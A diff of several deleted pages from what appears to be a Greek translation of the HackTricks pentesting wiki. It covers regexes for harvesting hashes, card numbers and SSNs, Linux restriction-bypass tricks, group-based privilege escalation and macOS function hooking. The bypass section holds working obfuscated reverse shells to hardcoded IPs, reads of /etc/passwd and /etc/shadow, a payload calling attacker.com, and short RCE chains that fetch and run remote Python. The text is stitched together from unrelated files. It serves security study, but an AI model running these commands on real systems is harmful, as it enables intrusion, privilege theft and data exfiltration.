grep -i "user\|invalid\|authentication\|login" file.txt
# Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
# Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
# Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Βρείτε
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
# Find SGID set files.
find / -perm /g=s -ls 2>/dev/null
# Found Readable directory and sort by time. (depth = 4)
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Writable directory and sort by time. (depth = 10)
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current User and sort by time. (depth = 10)
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Newer files and sort by time. (depth = 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer files only and sort by time. (depth = 5)
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Βοήθεια αναζήτησης Nmap
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Μπάσα
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,319 +0,0 @@
# Παράκαμψη Περιορισμών Linux
{{#include ../../banners/hacktricks-training.md}}
## Συνηθισμένες Παράκαμψεις Περιορισμών
### Αντίστροφη Σκηνή
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Σύντομο Rev shell
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Παράκαμψη Διαδρομών και απαγορευμένων λέξεων
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Παράκαμψη απαγορευμένων χώρων
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Παράκαμψη της κάθετης και της οριζόντιας γραμμής
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Παράκαμψη σωλήνων
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Παράκαμψη με κωδικοποίηση hex
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Παράκαμψη IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Εξαγωγή δεδομένων με βάση τον χρόνο
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Λήψη χαρακτήρων από μεταβλητές περιβάλλοντος
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS data exfiltration
Μπορείτε να χρησιμοποιήσετε το **burpcollab** ή το [**pingb**](http://pingb.in) για παράδειγμα.
### Builtins
Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές συναρτήσεις και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο builtins για να αποκτήσετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλα** τα **builtins**, οπότε θα πρέπει να **γνωρίζετε όλες τις επιλογές σας** για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από [**devploit**](https://twitter.com/devploit).\
Πρώτα απ' όλα, ελέγξτε όλα τα [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Στη συνέχεια, εδώ έχετε μερικές **συστάσεις**:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Πολυγλωσσική ένεση εντολών
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Παράκαμψη πιθανών regexes
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE με 5 χαρακτήρες
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE με 4 χαρακτήρες
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Παράκαμψη Read-Only/Noexec/Distroless
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις **προστασίες read-only και noexec** ή ακόμα και σε ένα distroless container, υπάρχουν ακόμα τρόποι να **εκτελέσετε αυθαίρετους δυαδικούς κωδικούς, ακόμα και ένα shell!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Παράκαμψη Chroot & άλλων Jails
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## Αναφορές & Περισσότερα
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
Περαιτέρω παραδείγματα γύρω από το yum μπορούν επίσης να βρεθούν στο [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Εκτέλεση αυθαίρετων εντολών μέσω RPM Πακέτων
## Έλεγχος του Περιβάλλοντος
Για να εκμεταλλευτεί αυτό το vector, ο χρήστης πρέπει να είναι σε θέση να εκτελεί εντολές yum ως χρήστης με υψηλότερα προνόμια, δηλαδή root.
### Ένα λειτουργικό παράδειγμα αυτού του vector
Ένα λειτουργικό παράδειγμα αυτής της εκμετάλλευσης μπορεί να βρεθεί στο δωμάτιο [daily bugle](https://tryhackme.com/room/dailybugle) στο [tryhackme](https://tryhackme.com).
## Συσκευασία ενός RPM
Στην επόμενη ενότητα, θα καλύψω τη συσκευασία ενός reverse shell σε ένα RPM χρησιμοποιώντας [fpm](https://github.com/jordansissel/fpm).
Το παρακάτω παράδειγμα δημιουργεί ένα πακέτο που περιλαμβάνει έναν trigger πριν την εγκατάσταση με ένα αυθαίρετο script που μπορεί να καθοριστεί από τον επιτιθέμενο. Όταν εγκατασταθεί, αυτό το πακέτο θα εκτελέσει την αυθαίρετη εντολή. Έχω χρησιμοποιήσει ένα απλό παράδειγμα reverse netcat shell για επίδειξη, αλλά αυτό μπορεί να αλλάξει όπως απαιτείται.
```text
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,140 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Sudo/Διαχειριστικές Ομάδες
## **PE - Μέθοδος 1**
**Μερικές φορές**, **κατά προεπιλογή \(ή επειδή κάποια λογισμικά το χρειάζονται\)** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Αυτό σημαίνει ότι **οποιοσδήποτε χρήστης ανήκει στην ομάδα sudo ή admin μπορεί να εκτελέσει οτιδήποτε ως sudo**.
Αν αυτό ισχύει, για **να γίνεις root μπορείς απλά να εκτελέσεις**:
```text
sudo su
```
## PE - Μέθοδος 2
Βρείτε όλα τα suid δυαδικά και ελέγξτε αν υπάρχει το δυαδικό **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Αν διαπιστώσετε ότι το δυαδικό αρχείο pkexec είναι SUID δυαδικό και ανήκετε σε sudo ή admin, πιθανόν να μπορείτε να εκτελέσετε δυαδικά αρχεία ως sudo χρησιμοποιώντας το pkexec. Ελέγξτε τα περιεχόμενα του:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένα linux μπορεί **να εμφανιστούν** κάποιες από τις ομάδες **sudo ή admin**.
Για **να γίνετε root μπορείτε να εκτελέσετε**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Αν προσπαθήσετε να εκτελέσετε **pkexec** και λάβετε αυτό το **σφάλμα**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Δεν είναι επειδή δεν έχετε δικαιώματα αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI**. Και υπάρχει μια λύση για αυτό το ζήτημα εδώ: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Χρειάζεστε **2 διαφορετικές ssh συνεδρίες**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
```bash:session2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**Μερικές φορές**, **κατά προεπιλογή** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε αυτή τη γραμμή:
```text
%wheel ALL=(ALL:ALL) ALL
```
Αυτό σημαίνει ότι **οποιοσδήποτε χρήστης ανήκει στην ομάδα wheel μπορεί να εκτελεί οτιδήποτε ως sudo**.
Αν αυτό ισχύει, για **να γίνεις root μπορείς απλά να εκτελέσεις**:
```text
sudo su
```
# Shadow Group
Χρήστες από την **ομάδα shadow** μπορούν να **διαβάσουν** το **/etc/shadow** αρχείο:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Έτσι, διαβάστε το αρχείο και προσπαθήστε να **σπάσετε μερικούς κατακερματισμούς**.
# Ομάδα Δίσκου
Αυτή η προνομία είναι σχεδόν **ισοδύναμη με την πρόσβαση root** καθώς μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα μέσα στη μηχανή.
Αρχεία: `/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Σημειώστε ότι χρησιμοποιώντας το debugfs μπορείτε επίσης να **γράφετε αρχεία**. Για παράδειγμα, για να αντιγράψετε το `/tmp/asd1.txt` στο `/tmp/asd2.txt` μπορείτε να κάνετε:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Ωστόσο, αν προσπαθήσετε να **γράψετε αρχεία που ανήκουν στον root** \(όπως το `/etc/shadow` ή το `/etc/passwd`\) θα λάβετε ένα σφάλμα "**Permission denied**".
# Video Group
Χρησιμοποιώντας την εντολή `w` μπορείτε να βρείτε **ποιος είναι συνδεδεμένος στο σύστημα** και θα εμφανίσει μια έξοδο όπως η παρακάτω:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Το **tty1** σημαίνει ότι ο χρήστης **yossi είναι συνδεδεμένος φυσικά** σε ένα τερματικό στη μηχανή.
Η **ομάδα video** έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρατηρήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να **πάρτε την τρέχουσα εικόνα στην οθόνη** σε ακατέργαστα δεδομένα και να βρείτε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο `/dev/fb0` και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Για να **ανοίξετε** την **ακατέργαστη εικόνα** μπορείτε να χρησιμοποιήσετε το **GIMP**, να επιλέξετε το αρχείο **`screen.raw`** και να επιλέξετε ως τύπο αρχείου **Raw image data**:
![](../../images/image%20%28208%29.png)
Στη συνέχεια, τροποποιήστε το Πλάτος και το Ύψος στις διαστάσεις που χρησιμοποιούνται στην οθόνη και ελέγξτε διαφορετικούς Τύπους Εικόνας \(και επιλέξτε αυτόν που δείχνει καλύτερα την οθόνη\):
![](../../images/image%20%28295%29.png)
# Root Group
Φαίνεται ότι από προεπιλογή οι **μέλη της ομάδας root** θα μπορούσαν να έχουν πρόσβαση για **τροποποίηση** ορισμένων αρχείων ρυθμίσεων **υπηρεσιών** ή ορισμένων αρχείων **βιβλιοθηκών** ή **άλλων ενδιαφέροντων πραγμάτων** που θα μπορούσαν να χρησιμοποιηθούν για την κλιμάκωση δικαιωμάτων...
**Ελέγξτε ποια αρχεία μπορούν να τροποποιήσουν τα μέλη του root**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker Group
Μπορείτε να προσαρτήσετε το ριζικό σύστημα αρχείων της μηχανής-οικοδεσπότη σε έναν όγκο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# lxc/lxd Group
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,338 +0,0 @@
# macOS Function Hooking
{{#include ../../../banners/hacktricks-training.md}}
## Function Interposing
Δημιουργήστε ένα **dylib** με μια ενότητα **`__interpose`** (ή μια ενότητα με σημαία **`S_INTERPOSING`**) που περιέχει ζεύγη **δείκτες συναρτήσεων** που αναφέρονται στις **αρχικές** και **αντικαταστάσιμες** συναρτήσεις.
Στη συνέχεια, **εισάγετε** το dylib με **`DYLD_INSERT_LIBRARIES`** (η διαμεσολάβηση πρέπει να συμβαίνει πριν φορτωθεί η κύρια εφαρμογή). Προφανώς, οι [**περιορισμοί** που ισχύουν για τη χρήση του **`DYLD_INSERT_LIBRARIES`** ισχύουν και εδώ](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interpose printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
Στην ObjectiveC, έτσι καλείται μια μέθοδος: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
Απαιτείται το **αντικείμενο**, η **μέθοδος** και οι **παράμετροι**. Και όταν καλείται μια μέθοδος, ένα **msg αποστέλλεται** χρησιμοποιώντας τη συνάρτηση **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Το αντικείμενο είναι **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και τα επιχειρήματα είναι **value1**, **value2**.
Ακολουθώντας τις δομές αντικειμένων, είναι δυνατή η πρόσβαση σε ένα **πίνακα μεθόδων** όπου οι **ονομασίες** και οι **δείκτες** στον κώδικα της μεθόδου είναι **τοποθετημένοι**.
> [!CAUTION]
